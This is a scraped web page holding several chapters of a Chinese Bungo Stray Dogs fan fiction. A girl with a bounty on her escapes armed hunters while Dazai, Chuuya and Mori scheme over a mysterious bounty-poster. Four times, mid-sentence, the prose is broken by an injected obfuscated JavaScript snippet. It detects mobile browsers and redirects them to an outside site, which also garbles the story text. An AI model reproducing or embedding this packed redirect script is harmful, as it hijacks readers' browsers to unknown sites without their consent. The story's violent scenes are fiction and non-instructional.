一直一直看着这边的,是哪个负责监视任务的笨贼…? 和她预想的不同,投以视线的人在她消失的时候立即就意识到了什么,做出了相对的反应,在她过去的时候,那边只剩下之前遮挡住对方身影的绿化……和空空的拐角。 好消息是对方的执行能力跟不上脑子,而且永末还能直接调取监控当作作弊器使用。 不过这次不需要调取,让系统开始运算会占用她的部分脑子,永末抬头左右观察了几秒,抓住了藏匿对象没有忍住悄悄看过来的第二回。 视线其实是有重量的,被注视对于她得到时装强化的五感,醒目得好像在人群中某个方向画了个圈。 这次永末稍微认真了一点,她握住虚空浮现在袖中的刀柄……并且做出让十秒之后的自己后悔莫及的行动。 “好痛……!”被堵在员工通道,为了躲开她的围追堵截,不小心撞到什么被绊倒的青年,发出小孩子吃疼的声音,控诉地抬头看了她一眼。 ……江户川乱步。 永末僵硬地站在通道尽头,满脑子写着“我完了。” 许久没见的绿眼睛小猫满脸气咻咻地瞪着她,好像她做了什么十恶不赦的事情……而且这股气还随着看她的时间越久,越往上升。 明明已经收到邀请了!还是乱步大人亲自做的邀请,事情都已经结束了,居然还是选择了港.黑而不是侦探社! 约定好了要一起把这边的小吃都吃一遍,结果却和别人先来吃了! 乱步大人是什么备选项吗?! ……还把乱步大人当作敌人追!都已经看到你拿出刀了!现在藏起来有什么用! 江户川乱步想完更生气了,但他在发脾气折腾人方面是幼稚园的水平,就算想张牙舞爪也挠不过眼前的少女……而且如果只是这样就原谅她的话,那也太简单了! “你……你太过分了!”他最后只是指着她,憋出这么一句话。 永末当场道歉,“对不起,我错了,没发现是你……唔。” 时间闹腾得有点久了,中也已经回来了,他等待了一会,正给她发消息询问她的位置,不知道出于什么情绪,他逐渐显得有点焦躁起来了。 ……得回去了。总不能把他放在那边不管。 “只是这样吗?”江户川指责到一半,注意到了她的走神,没有等她说话立即就明白了,他这下没有明显的不高兴摆在脸上,但永末反而领悟到他彻底生气了。 好像彻底理解了她选择港.黑意味着什么,小侦探拉过贝雷帽遮挡住眼睛。 “……才不会原谅你。” 没有再跟她说多余的话,小侦探跟她擦肩而过,绕开她消失在人群中。 …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802365|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总之,不管之后她再去侦探社多少次,每次都能恰到好处地撞上小侦探出门办案,即使探查过最近没有案子也遇不到他。 江户川乱步在不想被找到的时候,就是不会被找到,永末稍微理解了当时在第二次见面能被她堵到,也是他并不想真的走掉。 乱步简直跟太宰避人的办法师出同门,遗憾的是游戏地图只能实时定位攻略对象,而永末也没有强迫对方相见的意思,只是会在每次去侦探社邀请但遇不上人后,在逛完给他带一份这次行程中最满意的甜点。 这么多次下来,她都要跟那边的文员混熟了,甚至还见过几次侦探社的社长。 ……等到乱步想接受邀请的时候,就会再次出现了。永末完全理解这一点。 如果他完全不想再见她,在她见到社长的时候,对方就不会是那种表情,而是会直接了当地拒绝她再过去。 “跟人有约吗?”“跟人有约。” 她对太宰说的并不是假话。 这次受邀的人会赴约吗? 那就是薛定谔的事情了,所以并没有迟到的这种说法。 ……原本以为这次也会是一样的情况,但在她迈入侦探社办公室的大门时,很意外地看到,在最里头的桌边有一个躲在贝雷帽下的脑袋。 小侦探听到有人进门声音也没有任何动静,他直愣愣地趴在桌面上,在进门的人越走越近的时候,他才用闷闷的口吻说道。 “……有什么委托?” “嗯……我有一个很要好的朋友……但是有一次我做了让他有点生气的事情,万能的侦探社,无所不能的小侦探,能有什么办法,让我的朋友原谅我吗?”永末做出思考的动作,拉开椅子坐到了他的跟前。 “只是一点生气吗……委托人,必须要诚实哦。”把手臂垫在脸颊下,让脸颊被挤出圆润的软肉,整个人一动不动,只有翠色的眼睛跟着她的手指缓缓移动的江户川乱步说道。 她想做什么……喂! 被捏了一下脸颊之后,乱步立即炸开了稳重的外壳,一下坐起来蹬远了桌子,蹿出去了一截,也不假装不认识她了,“……我还没有原谅你呢!” “对不起,十分抱歉。”在把其他人的目光吸引过来前,永末没有诚意地道歉,“我还以为乱步大人愿意见我,已经是决定原谅我了。” “才没有!”小侦探又开始变成河豚,圆滚滚地充起气来。 “……是总不能眼睁睁看到你傻愣愣地钻进陷阱里去啊。” 24.第24章 有时候永末会觉得,乱步的眼睛在注视着她看不到的方位,这不是指细节观察,或者推理的方向什么的,反而更像是在指“命运”。 但他能见到他人未成形的命运,却不能不知道自己能不能承担改变这份命运的重量。 而现在他翠色的眼睛,就好像因此而在波动不定地犹疑着。 “怎么一直盯着乱步大人看……”在发现她也在解读他的表情,乱步原本凝视她的眼睛一下转开了,他孩子气地嘎吱嘎吱地咬着吸管,倒打一耙。 这已经是草莓芭菲上的吸管了。 在刚刚欲言又止的迟疑中,名侦探解决掉甜品的速度倒是没有半点迟疑,冰淇淋已经消失在侦探的深渊巨口中了,芭菲上的草莓和草莓酱也已经消失了一半。 就好像差一分钟就会吃不到那样着急。 永末低头也喝了一口咖啡。 “我在想,之前送给名侦探大人的点心,最合你胃口的会是哪个?” “啊!你还说这个!”江户川乱步露出被扎了一下的难过表情,“……社长说要节制甜食给我扣下来了!一定要我加过运动之后才给我!” 他不高兴地又咬了两下吸管,开始用勺子戳进芭菲底部的蛋糕胚,“放久了的点心奶油会塌啊!而且软掉了就是另一种口味了!” “我都没有吃到新鲜的!而且那个时候都不能亲口跟你说,应该要偷偷给我的事!” ……可是明明避而不见的人是你。 永末感觉有点好笑,但为了避免小侦探想起来之前在生气的事,她没有说出来,“所以乱步大人还是吃到了。” “话说……”她看了看腕表,做出了最开始准备说出的那个邀请。 “我来践行约定了,最近乱步君有想吃的地方吗……其实最近有开夜市的一条小吃街也很不错,虽然名侦探在忙着办案,没办法跟我一起探秘美食,不过我也没闲着,已经去趟过好几个美食地图了哦。” 绿宝石一般的眼睛跟着她的视线落在了腕表上,乱步的脸上浮现出了一点难过和坚定,他的语气很认真,因为放低而显得有点低落,“你……现在还来得及走……” 永末目光微微一动,时装的效果在这个时候随着她的心意强化了五感,她敏锐地捕捉到了相隔几条街区,有人正在对她投以类似监控的视线……不止一个人。 跟第一次降落在擂钵街类似的体感,仿佛暗处有数不清的蟑螂慢慢地铺开在阴暗的角落。 而在袖子的里侧,她的手机也同步震动起来了,简直是上次场景的复刻,她有些意外地通过系统看到那是中原中也打来的电话。 “……确实,今天好像不是去逛街的好时机。” 她慢慢地这么说道,把稍显不解的目光投向对面的小侦探。 草莓芭菲还剩下一部分,但看起来他已经不打算再继续吃了。 他迅速吃掉了喜欢的那些,把剩下不喜欢的任性地丢在这里,掐的时间跟那些看起来是冲她而来的人刚刚好。 但永末没有怀疑乱步,她不觉得他对她抱有恶意,她觉得他只是看到了,所以想提醒她。 永末站起身,依言打算就此离开,不管那些人会不会畏惧侦探社,她都不觉得自己应该把危险带到人来人往的咖啡厅里。 “现在要走的话,我应该去哪里呢?”在离开前,永末问出这个问题。 她倒是没有想从侦探那边得到答案。 冲突尚未发生,她也不明白接下来要面对的是袭击、绑架,还是别的什么,但是她现在身处港口mafia,虽然她在其中不是什么关键的岗位,对她动手,也是在挑衅港.黑这个庞然大物。 ……对手是狂妄到看不清楚事态的傻子,疯狂到不在意报复的疯子,还是清楚这一切,只是利益大到可以不在乎的亡命之徒? 又或者,这几个月庇佑她的这份黑暗,现在已经调转枪头变成了捕捉她的罗网……呢? 如果选择的立足点倾覆,她又应该往哪里去呢? 但侦探给出了回应,他青翠的眼睛映出她的身影,他稍微有点犹豫,但还是清楚地说出了,“……逃到这个世界的外边啊。” * “这是怎么回事?!”电话一接通,中原中也劈头盖脸地把问题丟了过去。 中原中也打不通给永末的电话,找不到她现在在哪里,只能把先编辑短信发给她,之后他抱头想了一会,开始打太宰的电话,这下打不通倒是常态了,鬼知道那家伙会不会在入水的时候把手机一起葬河里了。 现在电话立即被接通,他反而有点愣,但很快他就理解了,这件事肯定有要用到他的部分。 “为什么尚夏会被挂上里世界的悬赏?”他抓紧时间发出灵魂问题,“赏金还在不断飙高,现在都有20亿了!她人在哪里?现在千万别出港.黑!” ……再高下去,中也都不能担保森先生会不会动心,事实上他现在都不能确定了。 话筒对面的人不知为何沉默了几秒。 中原中也在这份沉默中,脑子疯狂旋转,心脏不由得狂跳起来。 已知太宰这种控制狂,不知道这件事才是异常,所以要么是他没控制住事态…… 但虽然不太想承认,中原中也还是认可他魔鬼一样的能力的,这个假设基本不可能。 要么就是…… 要么就是,现状就是他想看到的。 “……你想干什么?”中原中也的声音沉了下去。 “我说过,你想伤害永末的话,我是不会放过你的。” “收收你那膨胀到溢出的保护欲。她不是你需要保护的‘羊羔’。”电话对面传来了有点莫名冷淡的声音,“我也说了,她是‘我的恋人’。” 太宰本来想反唇相讥,我也不至于被当作会把恋人按斤出售的人渣吧,但话到嘴边,又被他咽下去了。 ……有什么区别呢。 “悬赏的事情……一直都有。”太宰克制着自己的声音,没有让里边多出什么烦躁,“……她的那个‘父亲’,在被关在A的赌场那段时间,一直都在网络上给小夏找各路‘买家’,就是那个时候,有些不应该传出去的消息在黑市里边被作为情报贩卖了。” 她的异能力,人体的高速愈合,如果说愈合的概念拉到最高……这份能力实在是太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816041|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 适合被当作实验的小白鼠了。 就不说一些“器官移植”的想法,单纯就药物实验,临床试药之类的东西,也足够她的存在发挥出很大的价值。 ……如果这份异能力还能搭配上姣好的容貌呢? 那还得加上被当作一个玩不坏的活收藏品的价值了。 而偏偏那位“父亲”,简直是生怕自己的孩子日后的人生有多顺遂一样,把她的照片也一并传播了出去。 悬赏的照片正是其中的一张,一名穿着校服的,面容生涩的少女,对着镜头展开懵懂的、无忧无虑的笑容。 最能诱发人破坏欲的表情。 ……这不是他认识的“永末尚夏”。但在脑子还没有指令之前,太宰已经迅速地划掉了屏幕上的人像。 ……虽然知道人类有时候有多无可救药,甚至太宰觉得自己就是最糟糕的那一些,但他偶尔还是会因此感觉到不适。 明明最开始他知道的时候并不是很在乎,为什么回想起来的时候,反而感觉到有什么沉重的分量随着呼吸坠在身体里了呢? 太宰没有继续往下想。 “我之前一直压着这个情报在黑市的传播,也在清理那些知道这件事的人……”太宰心情寡淡地开口继续说道,“本来这个悬赏只是在小范围内的……已经没有人在乎了。” 事实上,侦探社最近也出力清扫过一些情报贩子,知道这事的人已经要绝迹了。 “……但是就在今天早上,有一个id是【黑鸟】的人,往即将消失的悬赏上投注了10亿的日元赏金,并且挂出了小夏的视频。” 太宰极慢地说道,他已经看过那个视频了,但现在大脑好像在拒绝仔细回忆。 视频中是在一个昏暗的,没有任何标志性物品的仓库内部,清理得太过干净,以至于他不花时间也找不到那个地方,而戴着眼罩的少女就被拷在镜头中央,脸上是让他看到时心里一颤的、熟悉的面无表情,她似乎听到什么动静,微微转向镜头。 没有任何人说话,只有枪上膛的声音。 “呯——” 开枪的人似乎颤抖了一下,但距离太近不存在打不中的问题,而目标也没有任何闪躲的余地。 下一秒,脑浆、血液随着子弹嵌入墙壁,混杂着泼洒在了上头。 镜头的最后,则是被击中后仰的少女,鬼魅般地重新一寸寸抬起身体。 绳结被破坏、完全掉下来的眼罩后,露出她冰冷的,有清醒意志的蓝色眼睛。 在那段录像里边,太宰没有看到任何的拼接痕迹……不过按照他之前对永末的观察,这份视频应该是真的。 ……证明。这份录像被标注为证明。 这是为了展示给谁的证明呢……太宰突然用中也毛骨悚然的声音笑了一声,他的言辞逐渐恢复了往日讨嫌的强调,丝滑地对他解释道。 “如果连打中脑袋的这种伤势也可以恢复,小夏小姐的价值……会真的值得这个价格吧。” 他不知为何,甚至说了一个中也不理解的地狱笑话,“都还没有到80亿呢。这才到哪里。” “大鱼……还没上钩呢。” 25.第25章 永末神色不动,愣神了两秒之后,用一种全新的目光看了一眼小侦探。 她的直觉似乎已经有所预见了,所以在被他观察的时候,会用“被看透命运”这种奇妙的修辞来形容他的目光。 但到了真的被揭穿的关头,她还是有如见到平地起惊雷一般,有了一瞬间心跳失重的错愕。 【等等,他、他怎么知道的?】被触及到了玩家的核心秘密,系统的电子音也不可置信起来了,【不对……不对,是他的话……好像也没有不对……】 “……是太神奇了。”再做出掩饰也来不及了,永末干脆承认了。 现在是紧迫关头,已经有人盯上了她,明明每一分每一秒都不应该浪费,但永末还是花费了一句话的时间说出这句赞叹。 她还准备用接下来的几句话功夫,再听听看他的推理,“名侦探的推理,简直好像是魔法一样……怎么发现的?” “很明显的!明明是你们……为什么都摆出一副看不到的样子!”小侦探抿了一下嘴唇,好像很神气地大声说道。 但接下来的那句话,他说得又轻又细,只有她能听见,“……几个月前,你还记得的我们第一次遇到那天,那就是你刚刚来到这个世界的时候吧!” “你原本不是这个世界的人!”他宣告真相。 “名侦探也不是万能的啦,如果再过几天遇到,你身上在这个世界的生活痕迹盖过了那些来自其他世界的异常,我也会分不出来的!” 他轻快地对她眨眼,似乎对于自己的能力洋洋得意,这份明快点亮了他的眼睛,让永末怎么都对他生不出防备,“明明当时已经告诉过你了哦,‘很新’的小姐!” 江户川并不知道游戏和系统的事情,所以也没有找到精确形容的那个词语,玩家。 系统说的那些话,居然是从小侦探的口中被证实的。 她真的是来自另一个世界的游戏玩家。 ……但那样也有说不通的地方。 如果江户川所推出的是真相,不论从哪里看,她都不应该能认识太宰和中原中也吧! 如果几个月前那个时候,她才刚刚出现在这个世界,那样即使失忆了,她应该压根不存在所谓的“过去”才对! 然而时间已经不容许她再接近谜底了。 【夏夏!】兢兢业业,自觉自动地替她去对面的联络通道里边转了一圈的系统,哭着回来报警了。 【好多人!他们还带了好多枪!我们快跑吧!他们要把街区围起来了!再不跑我规划不出行动路线了!】 永末也是猛地一激灵。极远处,似乎有准心已经瞄准了窗边的她的后心。 窗沿的绿植遮挡住了他们的身形,才没有一发子弹立即打破窗户而来,但时间久了就不一定了。 ……是狙击吗? 难道这次的行动目标是要暗杀她? 永末不能明白为什么这次袭击一上来的烈度就这么大,也不能理解自己有被这么对待的价值。 她轻轻按了一下桌面,以极快的速度起身离开,“抱歉,这次也要失约了……下回见,小侦探。” 武装侦探社就在楼上,小侦探总不至于在光天化日自家地盘上遭遇什么危险,她现在才是这里最大的危险源。 永末旋身而走得非常迅速,借着绿植的遮挡,眼前又只有小侦探在看,羽织从无到有地浮现出来,就好像一直在她身上一样,刀刃也随之被她掩入袖中。 在小侦探下意识伸手去抓的时候,羽织底部的绒毛正好轻轻扫过他的手背。 而永末已经步伐轻快,没有回头地消失在了店门口。 江户川张了张嘴,没有叫住她,他也不知道,自己到底是想她能从这场漩涡彻底脱身,还是想她能按部就班地去往那个未来…… “其实名侦探也不知道很多东西……比如,如果你在现在逃走,会不会造成什么糟糕的后果……” “……但如果你现在选择不逃走,就会被永远锁在这个世界吧。” 不被任何人听到的真相,本来也不应该被诉说。 江户川乱步在少年时期,拿到眼镜的时候就已经明白了,有很多真相不应该被他指出来。他只是不想明白。 那么现在他为什么又想提醒她呢? 小侦探难得有点失落地坐倒回原来的位置上,他知道,被留下的自己已经没有危险了。 江户川乱步重新变成扁扁的一滩。 “因为我认识的也只是永末你啊……” 江户川乱步只是在认识永末尚夏以后,突然不想让她这么一无所知地,被棋盘之外那么多双手,拉扯进那张网里了。 就只是这么天真又任性的理由。 * 永末快步走出咖啡厅,在拐过几个弯道、同时挨了几发狂轰滥炸后,伴随着四周越来越偏僻,她也不再掩饰地开始了狂奔。 而在失去了路人作为天然的遮蔽物后,身后咬住她的势力行事也越发肆意妄为。 虽然之前永末看他们横冲直撞扫射的子弹,对着她的背影随便乱扔炸弹的行为,也没觉得他们有多在意被无辜卷入的路人。 他们甚至没多在意她会不会直接在这种过量轰炸下变成字面意义上的永末酱…… “我超,这伙人彻底疯了……”永末一边保持狂飙的速度,一边从牙缝里边挤出吐槽。 好消息是爆炸腾起的烟雾、逐渐偏僻起来的建筑,和各种横生枝节的巷道都不会阻碍她的视野。 永末被时装加强的感官在她逐步沉浸之后,可以直接感知到附近的人类。 而系统虽然在她脑子里吱哇乱叫,不断地嘤嘤诉说【要不我们真的放弃这个世界跑路吧夏夏!太可怕了这里!】,但也能替她构建四周的建筑模型,并且分出另一个模块给她根据监控和其他人围追堵截的行动,计算逃生路线。 【之前一直是我们带鬼杀队的人追着杀鬼的,这次怎么变成我们被追着杀……呜呜呜,怎么是这种走投无路的感觉……】 但它随地哭丧的架势很烦人。 永末被它吵得脑子嗡嗡作响……不过这份感觉也可能是因为系统高速运转,一并在消耗她身体能量。 ……不能再这样下去了。 不然如果没有因为失手被抓住,或者因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820700|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被打成沫沫无法恢复而死掉,反而因为体内能量耗尽被饿晕然后被抓……那就是会让她一辈子都耿耿于怀的黑历史了! 【别害怕,有我在……加大运算的功率,不用管我的身体承受力,还有时装在呢。再去入侵一下他们的系统,看看能不能造成什么阻碍……如果指挥有故障,炮轰自己人也是很正常的事情对吧?】 永末一边下达指令,一边突兀地停步,借由建筑和烟尘的遮掩,顶着枪林弹雨折返。 随着系统运算功率的增加,现实在她眼中逐渐展开,变得更像一场枪战游戏,而她操纵着自己这个角色,像是飞鸟一样跃出。 【别害怕,我们能赢……既然逃不掉,就去把这些追着我们的蟑螂—— 全、都、清、理、掉。】 在轻盈的自由填充了身体的同时,永末感觉到呼吸道的黏膜因为能量过载而溢出鲜血,她不在意地抹去这些涌出来的腥甜液体,只是握住了手中的刀刃。 冷冽的寒光从被火药味填满的废墟中跃升了,少女手握着“月光”盈盈起跳,如鬼魅一般闪现下落—— 并非黄昏,并非深夜。明明是诸邪退避的白日,只有手中的枪械才是人间存在的真理……为什么会出现不管往它身上扫进多少子弹,投出多少炸药都不管用的怪物呢? ……明明长着羔羊一样柔弱可欺的面孔,为什么又要手握利刃呢? ……就不能真的如同羊羔一样束手就擒吗? “啊啊啊啊啊啊怪物…!滚开!”“去死!”“别过来!”“救命!饶……”“神啊——!”“不不不不……!” 悬赏中的照片和视频只是死物,真实显现在他们跟前的存在,是无论如何也无法彻底杀死,随手挥落的刀光就会带走几条性命,连钢铁和车辆都无法遮蔽她视线的,怪物…… 怪物……神明。 少女素白的脸上沾着几道被鲜血涂抹上的指痕,有她自己源源不断涌出的,也有死于“月光”下的旁人的。 她冰蓝色的瞳孔冷酷地映照出剩下的这些因为贪婪和利益被推上台前,自己并不知道自己只是试探的棋子的,乌合之众。 但她并没有在看他们因为恐惧和后悔而扭曲的脸,而是在阅读着他们所看不见的东西。 游戏系统,玩家信息,她看见那些标志着她身体基础数据的数值,正在随着她不断不断强迫自己,而以肉眼看不清的速度往上飙升。 果然,时装效果,“鬼王体质(改)”,有很多效果她还尚未研究彻底,但有一点很明确了。 ……现在呈现为少女的身躯,应该只是拟态的其中之一而已。 “不过现在没必要暴露太多底牌……”少女无声地自言自语,在停顿几秒之后,没有管那些因为恐惧而四散奔逃的人,也没有管那些还在对她不断射击的人,她重新抬起脸。 永末还是没有多余的表情,眼神一如既往,有点不在状态的涣散。她就以如是的语气说道: “还是让我们继续这场逆转の大逃杀吧。希望大家游戏愉快。” 就她仿佛能透过这些人身上暗藏的镜头,看见躲在背后的那些人一样。 26.第26章 活人跟游戏中可以源源不断刷新出来的小兵还是有区别的,至少玩家清扫掉一片区域的红名之后,他们刷新的速度不会有那么快。 但同样有限的,是玩家的血条。 虽然做出了好像无所畏惧的反向大逃杀宣言,但永末很清楚地知道自己的状态不能维持太久。 她只是在玩一场“胆小鬼游戏”,跟初次降临在世界上那次危险一样,利用死亡和对危险的恐惧,试图逼退那些围上来的鬣狗罢了。 如果说成功也能算成功,至少她成功突围了。 在有谁能把他们再度组织起来展开第二次抓捕之前,她暂时脱离了控制,暂时安全了。 但永末同样也遭遇了一些强行乱来的反噬,她叫停系统的高速运转,意识到第一局逃杀的游戏结束了,精神一松,直接出现了断片的先兆。 好像身体饥饿过头了那样,她感觉有一瞬间无法控制自己的身体,眼前也逐渐冒出了密密麻麻的黑点,它们逐渐合成一整片黑雾,占领了视野和意志。 永末罕见地没有做出任何后续安排,只来得及在逐渐黑下去的视野中,维持着最后一丝清明,就近找了辆被砍翻的面包车,打开车门栽进后座,顺手掀了一条尸体压在身上,就什么都不知道了。 早上只吃了一点青椒,然后陪小侦探喝了点咖啡。要知道有这一遭,就该多点一份芭菲…… 在意识消失之前,她模模糊糊地想到。 * 被争夺的奖杯本人暂时下线,世界却没有随之停止运转。 随着时间的推移,奖池还在累积,悬赏还在被更多的人看到……太宰玩笑地说出了“还没有到70亿呢”,但这个玩笑却好像真的在变成现实。 如同永末猜测的那样,这次的围猎确实存在有其他的眼睛,现场的视频有被陆续作为情报转播出来。 “不死的蓝鸟”……如果真的能在这次的事件中活下来,说不定她会获得类似的里世界称号。 中原中也看到转播时,第一次的追捕已经结束了。 “等等,手机给我……” 看到视频背景的瞬间他就认出来了那是哪里,中原中也恍然了一瞬,下一秒带着红光飞越而起,他没管自己会不会被看到,宛如一道赤色的流星直往擂钵街的方位坠去。 ……也许现在赶过去什么也做不到,但是他还是去做了。 好消息是被奖金掀起的热度正在随着大量第一批参与者的死亡和猎物的失踪冷却,中也刚想松一口气。 但就在他的眼皮底下,坏消息出现了。 “叮。”名为【黑鸟】的虚拟id,又神秘的出现了。 好像金钱对于他只是数字一样,他随手往悬赏里边投注了新的50亿。 “这个人!这个人到底是谁啊!”中原烦躁地抓了抓头发,他先前落地的动静让有些人以为是目标出现,残余的不死心的来人和被赏金鼓舞的第二波来人纷纷过来探查。 小虫子太多,中原中也干脆抬腿横扫过已经被炸弹炸毁的废墟。大块的混凝土带着红光往来者不善的那群家伙身上砸了下去。 “……重力使?!”“为什么、为什么会引来港.黑的人?”“目标不是只是学生吗?” “啊……连背景调查都没有做好吗?就敢来搅和这场浑水。”中原中也隔着手套压响拳头上的关节,他本来想说“永末尚夏,那孩子是港.黑的人”,眼前却突然浮现出来太宰冰冷的眼睛。 “有一点先提醒你,这件事……森先生……也许会有别的打算。”太宰说话的声音仿佛还在耳边。 “啧……”中原中也咽下去到嘴边的话,在红光爆开时,露出黑手党的残酷笑容,只是说道。 “啊,想和重力对抗吗?” * “【黑鸟】……是一个应该已经废弃的id……曾经使用它的那个人已经失踪了……但以他的黑客水平,这个账号即使他不用,也不会随意被人盗取。”森鸥外双手交叠,高深莫测地说道,“太宰君,你应该知道要怎么做吧。” 钓出【黑鸟】……找到它背后的人,找到这个冒牌货,或者就是黑鸟本人。 而这个隐藏在虚拟名字之后的存在,只在针对永末尚夏这件事上投注了兴趣,它好像只想看到她被推上风口浪尖,死无葬身之地…… 如果要钓出它,把“恋人”作为棋子,冷眼看她在棋局上随波逐流地挣扎,必要的时候推波助澜,这也会变成可以放在天平上称量的事情了。 落地窗下的人拉出了黑色的影子,太宰没有回头,他伸手好像想触摸上头钢铁焊死的花纹,又好像没有这些阻挡,他就会往前踏出,步入天空。 这次的谈话居然没有爱丽丝在场,这本身就是一个不同寻常的信号了。 “森先生……非常在意这件事吗?”太宰慢吞吞地问道,“我以为,比起另外那件大事……区区70亿……” 他说到这个数字的时候,情不自禁地发出了类似笑出声的音节,“啊,我的意思是,连横滨都不是所有势力都卷入的一个悬赏,比起那件生死大事,才是无关紧要的吧。” “如果那件事失败了……说不定森先生明天就要直接躺进先代隔壁的位置了。”他毫不掩饰地直戳首领痛处,声调居然还有几分雀跃,“虽然70亿很多,但森先生应该不至于在这种关头,还会有守财奴的秉性发作吧?” “还是说,【黑鸟】这个id……”他轻巧地回转身体,跟半身浸在光线下的森鸥外对视,“就这么让森先生忌惮呢?” ……里边有森先生不想透露的,自己的弱点和过去吗?他的表情里边明明白白地写着这个问题。 森鸥外不动如山,他检阅般地看过太宰的表情。 从最开始捡到他的时候,这孩子的眼睛里就没有过光线。 被突然拉进黑手党的时候,他也似乎不惮于流露对死亡主动趋近的,那种追逐着死的危险和异常,不介意流露自己异类的一面,不介意被任何人恐惧和不喜……虽然他讨喜的面具明明可以带得很好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834370|174009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他只是没有理由去戴上。 “之前我还以为是看错了。”森鸥外不无感慨地说道,“发现你愿意为永末小姐伪装自己的时候……但她依旧不是你的‘希望’啊。” 森鸥外不确定自己到底是为弟子错失了人生的美好而遗憾,还是为没能得到弟子的“弱点”而遗憾,如果真的有把锁能同时锁住太宰和中也……那么永末尚夏的价值确实比70亿更高一些。 但此刻太宰的眼睛,依旧是看不到希望的纯粹空洞。这依旧是一双追求死的眼睛。 “太宰君难道会介怀吗?”森鸥外问道,他含着一点大人般的笑意,“说了这么多理由,唯独没有提到在这次的悬赏中明明是风暴眼的永末酱。” 他用无奈的,丝滑的语气反问道,“难道是太宰君在忌惮对我提及永末酱吗?” 难道你是真的在意自己的“恋人”吗?绯色的眼睛温柔地对他问出这个问题。 回答不管是与否,都是陷阱。 “她隐瞒了自己的异能力加入港@黑……这本身就是有‘背叛’嫌疑的行为了吧。”森鸥外仿佛随意地说道,“现在因为自己的隐瞒被卷入这种事态里边,港.黑也没有帮她的理由不是吗?” “但是如果说太宰君接手这次事件的调查……”森鸥外的微笑加深了,“不管是斡旋,还是别的什么,都会方便很多?” “我完全相信太宰你的能力,不管是这次的悬赏事故,还是另外那件关乎港.黑生死的大事……永末酱、横滨的未来和我的性命,全都交付给你了。” 你会怎么选呢?太宰君。 * 没有开灯的房间,堆积着诸多医疗废件、酒瓶和生活垃圾,只有电脑屏幕还在持续地工作发光,显示屏幕上贴着便签“哥,饭放在微波炉里,醒来记得热一下去吃。” 其中的主人也终于从烂软的梦境里边醒来了。他晃了晃神,重新开始面对屏幕。 曾经的天之骄子,经手过无数残酷的实验,以为自己在做什么为国家牺牲的事业的无名研究员,现在不过是在世事无常下,勉强捡回一条性命的残废而已。 青年已经丧失了绝大部分的心气,只是一具本来应该死去的行尸走肉。 那次的事故唯一的好事是,残疾的不是他的脑子。 而他也还能在日本国家越发越稀少的补助里,凭借自己的头脑从灰色地带搞出维系自身治疗的钱财。 这次本来也是一个寻常的夜晚,但……鼠标的移动停滞了。 青年的瞳孔中映出了那个让他心绪沸腾的人影,那个挥舞“月光”的、森然如神的蓝发少女。 “啊……啊啊……”激烈的,恶念的憎恶堆积着,青年也想不到这些堵塞住他喉咙的,让他几年辗转难眠的仇恨,最后只能化成这么轻飘飘的一句话。 曾经的天才,依仗自己的才能肆意挥霍,从来不在乎弱者的哀鸣,现在那种消失已久的,热烈的、恶毒的才智火焰,又在他的瞳孔中点燃了。 “找到你了。” 27.第27章 好像有点颠簸…… 有谁在捡尸体吗?港.黑有这种清道夫的工作,之前是她去做,现在她变成要被搬运的尸体了吗……不,搬动她的人手法异常小心…… 就好像知道她是个活人似的! 永末倏然睁开眼睛。 眼睛还在后遗症的充血中,现在永末的视野还有点模糊。之前系统的高速运转造成了身体的高压,格外容易造反的就是黏膜和毛细血管富集的部分,她努力去看清自己现在的处境。 好在眼前的人熟悉到即使只有一个侧影,她也认得出来。 中原中也正把她往自己的宝贝机车上塞,一副准备就地从老家打包土特产回去的架势,也不知道是怎么找到地方把她从犄角旮旯里边挖出来的。 永末安静地重新变回软软的面条。 “……你醒了?尚夏?”察觉到她虚弱的鲤鱼打挺,中原中也似乎对她侧过了脸,探身查看。但永末现在看什么都糊成一团,捕捉不到他的表情,只能听见他的声音一如既往的沉稳可靠。 “……现在感觉怎么样?”中原中也这么问道,随即拉开机车的后盖,刷拉从里边摸出了什么东西,撕开外头的包装。 